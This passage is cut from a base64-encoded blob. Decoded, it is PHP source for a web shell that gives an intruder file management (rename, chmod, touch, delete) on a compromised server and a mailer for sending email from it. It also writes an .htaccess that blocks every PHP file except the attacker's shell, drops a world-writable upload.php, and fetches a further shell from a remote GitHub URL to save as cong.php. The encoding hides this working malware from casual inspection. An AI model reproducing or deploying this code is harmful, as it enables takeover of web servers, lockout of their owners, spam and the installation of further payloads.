RmdW5nc2lbN10oKSkuIiZhY3Rpb249cmVuYW1lX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249emlwX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLWZpbGUtemlwLWZpbGwnPjwvaT48L2E+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj10b3VjaF9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1jYWxlbmRhcic+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWNobW9kX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLWZpbGUtbG9jay1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZGVsZXRlX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXRyYXNoLWZpbGwnPjwvaT48L2E+DQoJCQk8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9J2NhcmQgY2FyZC1ib2R5IHRleHQtZGFyayBpbnB1dC1ncm91cCBtYi0zJz48cD5TZXQgcGVybWlzc2lvbnMgZm9yIDogIiAuIGJhc2VuYW1lKCRkaXIpIC4gIjwvcD4NCgkJCQk8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGVybWlzc2lvbnMnIHZhbHVlPSckRm9sZGVyQ2htb2QnIHJlcXVpcmVkPg0KCQkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrIGJ0bi1zbScgaHJlZj0nP2Rpcj0iIC4gZGlybmFtZSgkZGlyKSAuICInPkNhbmNlbDwvYT4NCgkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neWVhaCcgY2xhc3M9J2J0biBidG4tc3VjY2VzcyBidG4tYmxvY2sgYnRuLXNtJyB2YWx1ZT0nU2V0IFBlcm1pc3Npb25zJz4NCgkJCQk8L2Zvcm0+DQoJCQk8L2Rpdj4iOw0KCQl9DQoJCS8vIFRvdWNoIEZvbGRlcg0KCQlpZiAoJF83WydhY3Rpb24nXSA9PSAndG91Y2hfZm9sZGVyJykgew0KCQkJcygpOw0KCQkJJGZvbGRlclRpbWVzdGFtcCA9IGRhdGUoJ2QtbS1ZIEg6aTpzJywgZmlsZW10aW1lKCRkaXIpKTsNCgkJCWlmICgkXzdbJ3llYWh4J10pIHsNCgkJCQkkb2xkID0gJGRpcjsNCgkJCQkkbmV3ID0gJF9QT1NUWyduZXdfdG91Y2gnXTsNCgkJCQlpZiAoc3RydG90aW1lKCRuZXcpICE9PSBmYWxzZSkgew0KCQkJCQlpZiAodG91Y2goJG9sZCwgc3RydG90aW1lKCRuZXcpKSkgew0KCQkJCQkJZWNobyAnPHN0cm9uZz5Ub3VjaCBmb2xkZXI8L3N0cm9uZz4gb2shICcgLiBvaygpIC4gJzxhIGNsYXNzPSJidG4tY2xvc2UiIGhyZWY9Ij9wYXRoPScgLiBkaXJuYW1lKCRkaXIpIC4gJyI+PC9hPjwvZGl2Pic7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICc8c3Ryb25nPlRvdWNoIGZvbGRlcjwvc3Ryb25nPiBmYWlsISAnIC4gZXIoKSAuICc8YSBjbGFzcz0iYnRuLWNsb3NlIiBocmVmPSI/cGF0aD0nIC4gZGlybmFtZSgkZGlyKSAuICciPjwvYT48L2Rpdj4nOw0KCQkJCQl9DQoJCQkJfSBlbHNlIHsNCgkJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtd2FybmluZyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPg0KCQkJCQkJCTxzdHJvbmc+VG91Y2ggZm9sZGVyPC9zdHJvbmc+IGludmFsaWQgdGltZXN0YW1wIGZvcm1hdCEgDQoJCQkJCQkJPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4NCgkJCQkJCTwvZGl2Pic7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAiDQoJCQk8ZGl2IGNsYXNzPSdidG4tZ3JvdXAgbWItMyc+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9IiAuIGhleCgkZnVuZ3NpWzddKCkpIC4gIiZhY3Rpb249cmVuYW1lX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIgLiBoZXgoJGZ1bmdzaVs3XSgpKSAuICImYWN0aW9uPXppcF9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1maWxlLXppcC1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIgLiBoZXgoJGZ1bmdzaVs3XSgpKSAuICImYWN0aW9uPXRvdWNoX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLWNhbGVuZGFyJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIgLiBoZXgoJGZ1bmdzaVs3XSgpKSAuICImYWN0aW9uPWNobW9kX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLWZpbGUtbG9jay1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIgLiBoZXgoJGZ1bmdzaVs3XSgpKSAuICImYWN0aW9uPWRlbGV0ZV9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9hPg0KCQkJPC9kaXY+IjsNCgkJCWVjaG8gIg0KCQkJPGRpdiBjbGFzcz0nY2FyZCBjYXJkLWJvZHkgdGV4dC1kYXJrIGlucHV0LWdyb3VwIG1iLTMnPg0KCQkJCTxwPkFyZSB5b3Ugc3VyZSB0byB0b3VjaCB0aGUgZm9sZGVyOiAiIC4gYmFzZW5hbWUoJGRpcikgLiAiID88L3A+DQoJCQkJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J25ld190b3VjaCcgaWQ9J25ld190b3VjaCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgdmFsdWU9JyRmb2xkZXJUaW1lc3RhbXAnIHJlcXVpcmVkPg0KCQkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrIGJ0bi1zbScgaHJlZj0nP2Rpcj0iIC4gaGV4KCRkaXIpIC4gIic+Tm88L2E+DQoJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3llYWh4JyBjbGFzcz0nYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayBidG4tc20nIHZhbHVlPSdZZXMnPg0KCQkJCTwvZm9ybT4NCgkJCTwvZGl2PiI7DQoJCX0NCgkJLy8gUEhQIE1haWxlcg0KCQlpZiAoJF83WydpZCddID09ICdwaHBtYWlsZXInKSB7DQoJCQlzKCk7DQoJCQlpZiAoJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0gPT0gIlBPU1QiKSB7DQoJCQkJJGVtYWlsX3BlbmVyaW1hID0gaXNzZXQoJF9QT1NUWyJlbWFpbF9wZW5lcmltYSJdKSA/ICRfUE9TVFsiZW1haWxfcGVuZXJpbWEiXSA6ICcnOw0KCQkJCSRzdWJqZWsgPSBpc3NldCgkX1BPU1RbInN1YmplayJdKSA/ICRfUE9TVFsic3ViamVrIl0gOiAnJzsNCgkJCQkkcGVzYW4gPSBpc3NldCgkX1BPU1RbInBlc2FuIl0pID8gJF9QT1NUWyJwZXNhbiJdIDogJyc7DQoJCQkJaWYgKGZpbHRlcl92YXIoJGVtYWlsX3BlbmVyaW1hLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpKSB7DQoJCQkJCWlmIChAbWFpbCgkZW1haWxfcGVuZXJpbWEsICRzdWJqZWssICRwZXNhbikpIHsNCgkJCQkJCWVjaG8gJzxzdHJvbmc+UEhQTWFpbGVyPC9zdHJvbmc+IFNlbmRpbmchICcub2soKS4nPC9kaXY+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxzdHJvbmc+UEhQTWFpbGVyPC9zdHJvbmc+IGZhaWxlZCEgJy5lcigpLic8L2Rpdj4nOyANCgkJCQkJfQ0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gJzxzdHJvbmc+SW52YWxpZCBlbWFpbCBhZGRyZXNzPC9zdHJvbmc+IGZhaWwhICcuZXIoKS4nPC9kaXY+JzsgDQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAiDQoJCQk8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc+DQoJCQk8dT5QSFAgTWFpbGVyPC91Pg0KCQkJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBkLWZsZXggZ2FwLTInPg0KCQkJCQk8bGFiZWwgZm9yPSdlbWFpbF9wZW5lcmltYSc+RW1haWwgUmVjZWl2ZXI6PC9sYWJlbD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwJz4NCgkJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdlbWFpbCcgbmFtZT0nZW1haWxfcGVuZXJpbWEnIHBsYWNlaG9sZGVyPSdFbnRlciB0aGUgRW1haWwnIHZhbHVlPSdhZG1pbkBhZG1pbi5jb20nIHJlcXVpcmVkPg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIGQtZmxleCBnYXAtMic+DQoJCQkJCTxsYWJlbCBmb3I9J3N1Ymplayc+U3ViamVjdDo8L2xhYmVsPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPg0KCQkJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J3N1YmplaycgcGxhY2Vob2xkZXI9J0VudGVyIHRoZSBUaXRsZScgdmFsdWU9J0hpIEFkbWluJyByZXF1aXJlZD4NCgkJCQk8L2Rpdj4NCgkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBkLWZsZXggZ2FwLTInPg0KCQkJCQk8bGFiZWwgZm9yPSdwZXNhbic+TWVzc2FnZTo8L2xhYmVsPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPg0KCQkJCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHJvd3M9JzcnIG5hbWU9J3Blc2FuJyBwbGFjZWhvbGRlcj0nTWVzc2FnZSc+PC90ZXh0YXJlYT4NCgkJCQk8L2Rpdj4NCgkJCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPg0KCQkJCQk8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncGhwbWFpbGVyJyBjbGFzcz0nYnRuIGJ0bi1wcmltYXJ5Jz5TZW5kaW5nPC9idXR0b24+DQoJCQkJPC9kaXY+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2PiI7DQoJCX0NCgkJLy8gY3JlYXRlIGh0YWNjZXNzDQoJCWlmICgkXzdbJ2lkJ10gPT0gJ2NyZWF0ZWhhdGVzJykgew0KCQkJcygpOw0KCQkJaWYgKGlzc2V0KCRfN1snYmlraW4nXSkpIHsNCgkJCQkkc2VsZWN0ZWRDb250ZW50ID0gaXNzZXQoJF83Wydjb250ZW50J10pID8gJF83Wydjb250ZW50J10gOiAnJzsNCgkJCQkkaXNpRmlsZSA9ICcnOw0KCQkJCSRuYW1hZmlsZSA9IGlzc2V0KCRfUE9TVFsnbmFtYWZpbGUnXSkgPyAkX1BPU1RbJ25hbWFmaWxlJ10gOiAnJzsNCgkJCQlpZiAoJHNlbGVjdGVkQ29udGVudCA9PSAnY29udGVudDEnKSB7DQoJCQkJCSRpc2lGaWxlID0gIjxGaWxlcyB+ICdcLih4bWx8Y3NzfGpwZT9nfHBuZ3xnaWZ8anN8cGRmfHBodG1sfGh0bWx8c2h0bWx8cGhwNXxwaHApJCc+DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlcz4iOw0KCQkJCX0gZWxzZWlmICgkc2VsZWN0ZWRDb250ZW50ID09ICdjb250ZW50MicpIHsNCgkJCQkJJGlzaUZpbGUgPSAiPEZpbGVzTWF0Y2ggJy4qXC4ocGh0bWx8cGhwfFBoUHxwaHA1fHN1c3BlY3RlZCkkJz4NCk9yZGVyIEFsbG93LERlbnkNCkRlbnkgZnJvbSBhbGwNCjwvRmlsZXNNYXRjaD4NCjxGaWxlc01hdGNoICdeKCRuYW1hZmlsZSkkJz4NCk9yZGVyIEFsbG93LERlbnkNCkFsbG93IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+IjsNCgkJCQl9DQoJCQkJJHNldE5hbWEgPSAnLmh0YWNjZXNzJzsNCgkJCQkkcmVzdWx0ID0gZmlsZV9wdXRfY29udGVudHMoJHNldE5hbWEsICRpc2lGaWxlKTsNCgkJCQljaG1vZCgkc2V0TmFtYSwgMDQ0NCk7DQoJCQkJaWYgKCRyZXN1bHQgIT09IGZhbHNlKSB7DQoJCQkJCWVjaG8gJzxzdHJvbmc+Q3JlYXRlIGZpbGU8L3N0cm9uZz4gb2shICcgLiBvaygpIC4gJzwvZGl2Pic7DQoJCQkJfSBlbHNlIHsNCgkJCQkJZWNobyAnPHN0cm9uZz5DcmVhdGUgZmlsZTwvc3Ryb25nPiBmYWlsISAnIC4gZXIoKSAuICc8L2Rpdj4nOw0KCQkJCX0NCgkJCX0NCgkJCWVjaG8gIjxkaXYgY2xhc3M9J21iLTMnPg0KCQkJPHU+RGVmZW5zZSBTaGVsbDwvdT4NCgkJCTxmb3JtIG1ldGhvZD0nUE9TVCcgaWQ9J2RlZmVuc2VTaGVsbEZvcm0nPg0KCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NyZWF0ZWhhdGVzJyB2YWx1ZT0nMSc+DQoJCQkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4NCgkJCQkJPGxhYmVsPjxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0nY29udGVudCcgdmFsdWU9J2NvbnRlbnQxJyBjaGVja2VkIG9uY2xpY2s9J3RvZ2dsZVNoZWxsTmFtZUlucHV0KGZhbHNlKSc+IGh0YWNjZXNzIEFsbG93IEFsbDwvbGFiZWw+DQoJCQkJCTxsYWJlbD48aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J2NvbnRlbnQnIHZhbHVlPSdjb250ZW50Micgb25jbGljaz0ndG9nZ2xlU2hlbGxOYW1lSW5wdXQodHJ1ZSknPiBodGFjY2VzcyBPbmx5IEFsbG93IFlvdXIgU2hlbGwoZW50ZXIgbmFtZSBzaGVsbCBiZWZvcmUgY3JlYXRlISEpPC9sYWJlbD4NCgkJCQkJPGxhYmVsPnVzZSB8IGlmIHlvdSBoYXZlIDIgZmlsZXM8L2xhYmVsPg0KCQkJCQk8bGFiZWw+ZXhhbXBsZTo8L2xhYmVsPg0KCQkJCQk8bGFiZWw+PHN0cm9uZz5pbmRleC5waHB8aW5kZWV4LnBocDwvc3Ryb25nPiAvIDxzdHJvbmc+YWEucGhwfGJiLnBocHxjYy5waHA8L3N0cm9uZz48L2xhYmVsPg0KCQkJCQk8bGFiZWwgaWQ9J25hbWFmaWxlJyBmb3I9J25hbWFmaWxlJz5TaGVsbCBOYW1lOiA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFmaWxlJz48L2xhYmVsPg0KCQkJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdjcmVhdGUnPg0KCQkJCTwvZGl2Pg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4iOw0KCQl9DQoJCS8vQ3JlYXRlIFVwbG9hZGVyDQoJCWlmICgkXzdbJ2lkJ10gPT0gJ2NyZWF0ZXVwbG9hZGVyJykgew0KCQkJcygpOw0KCQkJaWYgKGlzc2V0KCRfN1snYmlraW4nXSkpIHsNCgkJCQkkc2VsZWN0ZWRDb250ZW50ID0gaXNzZXQoJF83Wydjb250ZW50J10pID8gJF83Wydjb250ZW50J10gOiAnJzsNCgkJCQkkaXNpRmlsZSA9ICcnOw0KCQkJCWlmICgkc2VsZWN0ZWRDb250ZW50ID09ICdjb250ZW50MScpIHsNCgkJCQkJJGlzaUZpbGUgPSAnPD9waHAgDQoJCQkJCQlpbmlfc2V0KCJ1cGxvYWRfbWF4X2ZpbGVzaXplIiwgIjEwME0iKTsgDQoJCQkJCQlpbmlfc2V0KCJwb3N0X21heF9zaXplIiwgIjEwME0iKTsgDQoJCQkJCQkkc3RhdHVzID0gIkVycm9yIE1hc3NlIjsgDQoJCQkJCQkkY3dkID0gZ2V0Y3dkKCk7IA0KCQkJCQkJJGxlYWRlciA9ICRfRklMRVNbInJpYmVsIl1bInNpemUiXTsgDQoJCQkJCQkkaW1hbSA9ICRfRklMRVNbInJpYmVsIl1bInR5cGUiXTsgDQoJCQkJCQkkcmliZWwgPSAkX0ZJTEVTWyJyaWJlbCJdWyJuYW1lIl07IA0KCQkJCQkJJHN0YXR1cyA9ICIiOyANCgkJCQkJCWlmICgkcmliZWwgIT0gIiIpIHsgDQoJCQkJCQkJJGN5YmVyID0gJHJpYmVsOyANCgkJCQkJCQlpZiAoY29weSgkX0ZJTEVTWyJyaWJlbCJdWyJ0bXBfbmFtZSJdLCAkY3liZXIpKSB7IAkNCgkJCQkJCQkJJHN0YXR1cyA9ICJGaWxlIEJlcmhhc2lsIERpdXBsb2FkIE1hc3NlOiA8YnI+IiAuICRjd2QgLiAiLyIgLiAkcmliZWw7IA0KCQkJCQkJCX0gZWxzZSB7IAkNCgkJCQkJCQkJJHN0YXR1cyA9ICJUZXJqYWRpIEtlc2FsYWhhbiBTYWF0IE1lbmd1cGxvYWQgRmlsZSBNYXNzZSI7IAkNCgkJCQkJCQl9IA0KCQkJCQkJfSBlbHNlIHsgCQ0KCQkJCQkJCSRzdGF0dXMgPSAiU2lsYWhrYW4gUGlsaWggRmlsZW55YSBEdWx1IE1hc3NlIjsgDQoJCQkJCQl9IA0KCQkJCQkJZWNobyAkc3RhdHVzOyANCgkJCQkJPz48aHRtbD4NCgkJCQkJPGhlYWQ+DQoJCQkJCTwvaGVhZD4NCgkJCQkJPGJvZHk+DQoJCQkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KCQkJCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0icmliZWwiPg0KCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJHYXNzIE1hc3NlIj4NCgkJCQkJPC9mb3JtPg0KCQkJCQk8L2JvZHk+DQoJCQkJCTwvaHRtbD4nOw0KCQkJCX0gZWxzZWlmICgkc2VsZWN0ZWRDb250ZW50ID09ICdjb250ZW50MicpIHsNCgkJCQkJJGlzaUZpbGUgPSAnPD9waHAgDQoJCQkJCQlpZihpc3NldCgkX0dFVFsicmliZWwiXSkpIHt9IA0KCQkJCQkJX19oYWx0X2NvbXBpbGVyKCk7IA0KCQkJCQk/Pic7DQoJCQkJfQ0KCQkJCSRzZXROYW1hID0gJ3VwbG9hZC5waHAnOw0KCQkJCSRyZXN1bHQgPSBmaWxlX3B1dF9jb250ZW50cygkc2V0TmFtYSwgJGlzaUZpbGUpOw0KCQkJCQ0KCQkJCWlmICgkcmVzdWx0ICE9PSBmYWxzZSkgew0KCQkJCQljaG1vZCgkc2V0TmFtYSwgMDc3Nyk7DQoJCQkJCWVjaG8gJzxzdHJvbmc+Q3JlYXRlIGZpbGU8L3N0cm9uZz4gb2shIDxhIGhyZWY9IicgLiAkc2V0TmFtYSAuICc/cmliZWwiPkNsaWNrIEhlcmUhPC9hPiAnIC4gb2soKSAuICc8L2Rpdj4nOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gJzxzdHJvbmc+Q3JlYXRlIGZpbGU8L3N0cm9uZz4gZmFpbCEgJyAuIGVyKCkgLiAnPC9kaXY+JzsNCgkJCQl9DQoJCQl9DQoJCQllY2hvICc8ZGl2IGNsYXNzPSJtYi0zIj4NCgkJCQk8dT5DcmVhdGUgVXBsb2FkZXI8L3U+DQoJCQkJPGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0iZGVmZW5zZVNoZWxsRm9ybSI+DQoJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNyZWF0ZWhhdGVzIiB2YWx1ZT0iMSI+DQoJCQkJCTxkaXYgY2xhc3M9ImQtZ3JpZCBnYXAtMiI+DQoJCQkJCQk8bGFiZWw+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJjb250ZW50IiB2YWx1ZT0iY29udGVudDEiIGNoZWNrZWQgb25jbGljaz0idG9nZ2xlU2hlbGxOYW1lSW5wdXQoZmFsc2UpIj4gVXBsb2FkZXIgQW50aSBEZWxldGU8L2xhYmVsPg0KCQkJCQkJPGxhYmVsPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iY29udGVudCIgdmFsdWU9ImNvbnRlbnQyIiBvbmNsaWNrPSJ0b2dnbGVTaGVsbE5hbWVJbnB1dCh0cnVlKSI+IE5vcm1hbCBVcGxvYWRlciBwYXNzOiA/cmliZWw8L2xhYmVsPg0KCQkJCQkJPGlucHV0IGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiB0eXBlPSJzdWJtaXQiIG5hbWU9ImJpa2luIiB2YWx1ZT0iY3JlYXRlIj4NCgkJCQkJPC9kaXY+DQoJCQkJPC9mb3JtPg0KCQkJPC9kaXY+JzsNCgkJfQ0KCQkvLyBVcGxvYWQgVmlhIExpbmsNCgkJaWYgKCRfN1snaWQnXSA9PSAndXBsb2FkdmlhbGluaycpIHsNCgkJcygpOw0KCQlpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KCQkJCSR1cmwgPSBpc3NldCgkX1BPU1RbJ3VybCddKSA/IHRyaW0oJF9QT1NUWyd1cmwnXSkgOiAnJzsNCgkJCQkkbmFtYWZpbGUgPSBpc3NldCgkX1BPU1RbJ25hbWFmaWxlJ10pID8gdHJpbSgkX1BPU1RbJ25hbWFmaWxlJ10pIDogJ2NvbmcucGhwJzsNCgkJCQlpZiAoZmlsdGVyX3ZhcigkdXJsLCBGSUxURVJfVkFMSURBVEVfVVJMKSkgew0KCQkJCQkkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOw0KCQkJCQlpZiAoJGNvbnRlbnQgIT09IGZhbHNlKSB7DQoJCQkJCQkkZmlsZVBhdGggPSBnZXRjd2QoKSAuICcvJyAuICRuYW1hZmlsZTsNCgkJCQkJCSRyZXN1bHQgPSBmaWxlX3B1dF9jb250ZW50cygkZmlsZVBhdGgsICRjb250ZW50KTsNCgkJCQkJCWlmICgkcmVzdWx0ICE9PSBmYWxzZSkgew0KCQkJCQkJCWVjaG8gJzxzdHJvbmc+VXBsb2FkIGZpbGU8L3N0cm9uZz4gb2shICcub2soKS4nPC9kaXY+JzsNCgkJCQkJCX1lbHNlew0KCQkJCQkJZWNobyAnPHN0cm9uZz5DcmVhdGUgZmlsZTwvc3Ryb25nPiBmYWlsISAnLmVyKCkuJzwvZGl2Pic7fQ0KCQkJCQkJfWVsc2V7DQoJCQkJCQllY2hvICc8ZGl2PjxzdHJvbmc+SW52YWxpZCBVUkw8L3N0cm9uZz4gZmFpbCEgJy5lcigpLic8L2Rpdj4nO30NCgkJCQl9DQoJCQl9DQoJCQllY2hvICI8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc+DQoJCQkJCTx1PlVwbG9hZCBWaWEgTGluayBbQllQQVNTXTwvdT4NCgkJCQkJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgkJCQkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwJz4NCgkJCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbScgdHlwZT0ndXJsJyBuYW1lPSd1cmwnIHBsYWNlaG9sZGVyPSdFbnRlciB0aGUgbGluaycgdmFsdWU9J2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9Nci03TWluZC9NaW5pU2hlbGwvbWFpbi9TaGVsbFBhc3MucGhwJyByZXF1aXJlZD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwJz4NCgkJCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbScgdHlwZT0ndGV4dCcgbmFtZT0nbmFtYWZpbGUnIHBsYWNlaG9sZGVyPSdTYXZlIEFzJyB2YWx1ZT0nY29uZy5waHAnPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPg0KCQkJCQkJPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgY2xhc3M9J2J0biBidG4tcHJpbWFyeSc+VXBsb2FkPC9idXR0b24+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZm9ybT4NCgkJCTwvZGl2PiI7DQoJCX0NCgkJLy8gRmlsZSBOZXcNCgkJaWYoaXNzZXQoJF83WydmaWxlbmV3J10pKSB7DQoJCXMoKTsNCgkJaWYoaXNzZXQoJF83WydiaWtpbiddKSl7DQoJCQkkbmFtZSA9ICRfN1snbmFtZV9maWxlJ107DQoJCQkkY29udGVudHNfZmlsZSA9ICRfN1snY29udGVudHNfZmlsZSddOw0KCQkJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWVfZmlsZSl7DQoJCQkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWVfZmlsZSIsICJ3Iik7DQoJCQkJaWYoJGNvbnRlbnRzX2ZpbGUpew0KCQkJCQkkY3JlYXRlID0gQGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudHNfZmlsZSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGNyZWF0ZSA9ICRoYW5kbGU7DQoJCQkJfQ0KCQkJfQ0KCQkJaWYoJGNyZWF0ZSl7DQoJCQkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuaGV4KCRwYXRoKS4iJzwvc2NyaXB0PiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxzdHJvbmc+Q3JlYXRlIGZpbGU8L3N0cm9uZz4gZmFpbCEgJy5lcigpLic8L2Rpdj4nOw0KCQkJCX0NCgkJCX0NCgkJZWNobyAiDQoJCTxkaXYgY2xhc3M9J21iLTMnPg0KCQkJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IEZpbGVuYW1lOg0KCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbScgdHlwZT0ndGV4dCcgbmFtZT0nbmFtZV9maWxlW10nIHBsYWNlaG9sZGVyPSdmaWxlbmFtZScgJF9yPg0KCQkJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gWW91ciBzY3JpcHQ6DQoJCQkJPHRleHRhcmVhIGNs